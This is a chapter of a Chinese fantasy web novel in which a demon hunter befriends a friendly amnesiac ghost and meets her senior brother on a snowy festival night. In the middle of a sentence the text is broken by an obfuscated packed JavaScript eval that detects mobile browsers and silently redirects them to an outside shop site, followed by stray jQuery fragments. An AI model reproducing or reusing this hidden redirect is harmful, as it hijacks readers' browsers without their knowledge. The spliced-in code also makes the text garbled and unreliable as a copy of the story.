纸上寥寥数字,尽管笔迹写得歪七扭八,但不难能看出这执笔之人所表之意。
故人来之,祝寿比南山,福如东海。
怪了,这不像是厉鬼会说的话。
这房屋中还亮着灯,主人家还没睡,莫非这厉鬼只是想来送一句贺词?
她一言难尽地看向那厉鬼。
虽然那厉鬼没有五官,但绝非是失明的存在,两两短暂的对视后,那厉鬼无措地往一旁挪了挪脚步,却发现姜长泠的视线仍是随着她移动过去。
“我能看见你。”姜长泠开口道。
那厉鬼也不知是生气还是激动,顿时握了握拳头,脸上的五官疯狂变换着,停下时,出现了和姜长泠一模一样的脸。
姜长泠:?
“不对。”厉鬼的声音有些慌乱,挥手又变换成另一个少女的模样。
确定了模样后的厉鬼眨着水汪汪的大眼睛,一脸懵懂地问她:“你是如何看得见我的?”
“那不重要。”姜长泠举起那张纸,“重要的是你进来做什么?”
厉鬼抬起手向大门方向一指:“因为她。”
姜长泠循着她指着的方向看去,大门之下正坐着一个蜷缩起全身的女子,此时半张脸正埋在了臂弯之中,只露出了两只眼睛在看她们。
“她不会说话,也听不见,只有眼睛能看,我好几天都看见她坐在这里了,想必这里应该是她生前的家,而这里也只有一位老妇在住,或许那是她奶奶吧。”厉鬼逐字逐句解释着。
“所以你写的这句话是想替她写的?”姜长泠问道。
厉鬼小鸡啄米似的点了点头。
“...抱歉,是我误会你了,我以为你要入室行凶。”姜长泠忽而有些愧疚,将那信纸递还给了她。
“没关系。”厉鬼上前几步,就在转瞬之间化为实体接过信纸,走到那房门前通过缝隙塞在了中间。
见这乌龙告一段落,姜长泠转身瞥了眼坐在门口的小鬼,并不打算再多管闲事,对她颔首表示了一番歉意。
随后她果断地翻出了围墙。
站稳在雪地之上,刚迈出一步身旁便传来一个稚嫩的声音:“姑娘,你叫什么名字?”
姜长泠早有预料到这厉鬼会缠着她,所以听到声音时也没有过多的惊讶。
“姜长泠。”
刚迈出的脚又收了回来,姜长泠停下来看她。
“你是什么身份?哪里人?”
“捉妖师,青竹城来的。”
“那你是怎么看到我的?”
“天赋,从小就能看到。”
厉鬼似乎很是兴奋,还在思考着有什么问题可以问。
“前辈可还有什么想知道的?没有的话恕晚辈不奉陪了。”姜长泠脸上虽是没什么表情,但心底里还是对这般高修为的厉鬼予以敬畏之心。
毕竟都这般修为了,世间上还有什么仇恨或放不下的执念能让这般修为的厉鬼停留在世间如此之久?
“你...你难道就不好奇叫我什么名字?”厉鬼笑道。
这意想不到的问题,姜长泠本不想回答,但还是配合着问了一句:“请问前辈尊姓大名?”
厉鬼抬手捂住嘴笑着说:“我给自己起了一个名字为解宿,解开的解,借一宿的宿。”
解宿?
这个名字倒是起得高深莫测,不过让姜长泠更加疑惑的是为什么说的是自己给自己起名?
“前辈可是觉得自己本来的名字不好听而改的?”姜长泠问道。
闻言,解宿放下手摇摇头:“我失忆了,什么都记不起来了,甚至忘了为什么要化为鬼存在于这个世间上。”
“很奇怪对吧?”
姜长泠心里咯噔一下,这厉鬼莫不是想让她寻回生前的记忆?
她镇定安抚道:“并不奇怪,忘却记忆也等同于把悲伤忘记了,在世间无牵无挂的也不算为一件坏事。”
“你说的对。”解宿释怀地笑笑,“但我心中仍有一份牵挂,我也不知如何追根溯源,这也才导致我存于这世间如此之久。”
“解铃还须系铃人,现今前辈失忆,执念自然无从化解,倘若要化解必须要有一个时机,至于...这时机什么时候会出现就不好说了。”
解宿听这话眼前一亮,又问道:“譬如呢?”
“譬如前辈所牵挂之人或是事物出现。”姜长泠解释道。
解宿又有些失落:“可我在这人间已有百余年也不曾见任何我所熟悉的事物。”
“百年,早已沧海桑田,前辈又是何苦留存于这个世上呢?”姜长泠不解问道。
“我亦不知,都是凭借着感觉而留下的。”
“话说回来你不觉得我顶着这副面孔与你讲话更像是同辈吗?”解宿捧起脸颊对她眨眨眼。
姜长泠愣了愣,缓缓点头。
“所以你我之间就不必以前后辈相称了,那么拘束干嘛。”解宿笑了笑。
解宿话音落下,街巷便外传来一声锣鼓响。
“戌时已到!”
姜长泠不由被吸引了一瞬,又回过神来:“今夜你我相见不过是萍水相逢,往后想必也不会再有交集了吧。”
“怎么会呢?”解宿挽过她的手臂,“基于你是第一个能见到我的凡人,我决定缠上你了。”
姜长泠受到了惊吓,不免呛咳了几声。
“快回家吧,这淮庆城晚上可是有宵禁的。”解宿提醒她。
姜长泠心脏猛地搏动了下,原来她是将宵禁听成了萧烬。
平复下心情后她问:“城中宵禁是几时?”
“亥时,就快了。”解宿道。
以往在青竹城时从来没有宵禁一说,现在多了个宵禁她还有些不适应。
“那若是在宵禁时段出门会如何?”姜长泠好奇问道。
解宿想了想说:“会被当成贼子抓起来,无论行为。”
“那确实是该早些启程回去。”姜长泠忽而低下头看着解宿挽住她的手,不免有些难堪。
“姜师妹?你怎么会在此处?”
熟悉的男声,是黎追?
姜长泠抬头看向来人,也与他有一样的诧异:“黎大师兄,好巧,我们刚路过此处。”
解宿则是上下打量了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617132|135798||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一遍黎追,眼底浮现起不怀好意的笑,又看向了姜长泠。
“不知这位是?”黎追没有立刻阐明来意,而是先询问了和姜长泠身旁的女子身份。
“这位是方才在逛街时认识的一位朋友,名为解宿。”姜长泠从容地介绍着,“而这位是我在妖都二处结识的大师兄。”
黎追点点头对着解宿行了一礼:“解宿姑娘,在下黎追。”
解宿还没反应过来眼前之人就给她行了一礼,她也只好生硬地学着回了一礼:“解宿。”
黎追指着方才他们翻进去的那户人家解释道:“我来是给住这的老妇送元宵来的,要不,进来坐坐?”
“多谢黎大师兄好意,不过这城中的宵禁是不是快到了,不如下次再聚?”姜长泠婉拒道。
“那也对。”黎追应道。
突然间,姜长泠和解宿的余光中蹿出一个人影,她们的视线同时被吸引了过去。
黎追见两人突然朝着一处虚空看去,不免也看过去问道:“这里是怎么了吗?”
姜长泠率先转过头来:“没什么,只是刚才有只很大的虫子飞过罢了。”
刚才那蜷缩在门边的女子就这么走到了她们身旁,目光深深地盯着黎追,眼里的悲伤似乎都要溢出来。
解宿却不以为然,直接朝那女子问了一句:“你认识他吗?”
可那女子依旧无动于衷地站在原地。
她忘了这女子是聋哑人,只剩一双眼睛能看。
黎追被问得一头雾水,疑惑道:“认识谁?”
女子见黎追张嘴说了话,又转身向她们看去,投来可怜巴巴的目光。
姜长泠拉了拉解宿的衣袖,又解释笑道:“她不善言辞,方才她的话是想问黎大师兄认识这府里的老妇人吗?”
解宿意识到后收回视线,傻傻地笑了下。
“当然认识,不过此事说来话长,这老妇人是我在三年某次晚上夜巡时遇到的,那天她生了重病跌跌撞撞地外出说要找孙女,刚好被我瞧见了,便带着她去医治了。”黎追道。
“据我所知这老妇人已经没有任何亲人了,实在孤苦伶仃,所以我时不时便会来买些好吃的来陪陪她。”
姜长泠若有所思地点点头,问道:“这老妇人的孙女可有什么特征相貌?说不定我们也可以帮她多多留意一下。”
黎追摇摇头,苦笑了下:“我也不曾见过这老妇人的孙女,只听说是个有些缺陷的女孩,是个聋哑人,名为张福。”
一切忽然有了眉目。
面前这女子应当十有八九就是老妇人的孙女。
可惜不知什么原因英年早逝了。
“原来如此。”姜长泠沉吟。
“时日也不早了,你们赶快回去吧,别等到宵禁了。”黎追也不想在元宵节这天把气氛渲染得如此沉重,干脆笑着赶人,“路上保重,注意安全。”
“好,明天见。”姜长泠应道。
“明天见。”黎追手里提着一壶裹得严实的元宵,就这么在两人的面前跃过了围墙。
这上门方式着实清奇,惹得姜长泠在原地多看了几眼。